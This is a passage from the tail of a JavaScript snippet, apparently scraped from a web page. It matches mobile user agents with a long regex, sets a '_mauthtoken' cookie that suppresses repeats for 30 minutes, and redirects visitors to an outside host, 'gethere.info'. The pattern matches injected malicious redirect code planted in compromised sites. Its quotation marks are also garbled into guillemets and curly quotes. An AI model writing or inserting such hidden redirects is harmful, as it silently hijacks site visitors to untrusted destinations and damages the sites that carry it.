)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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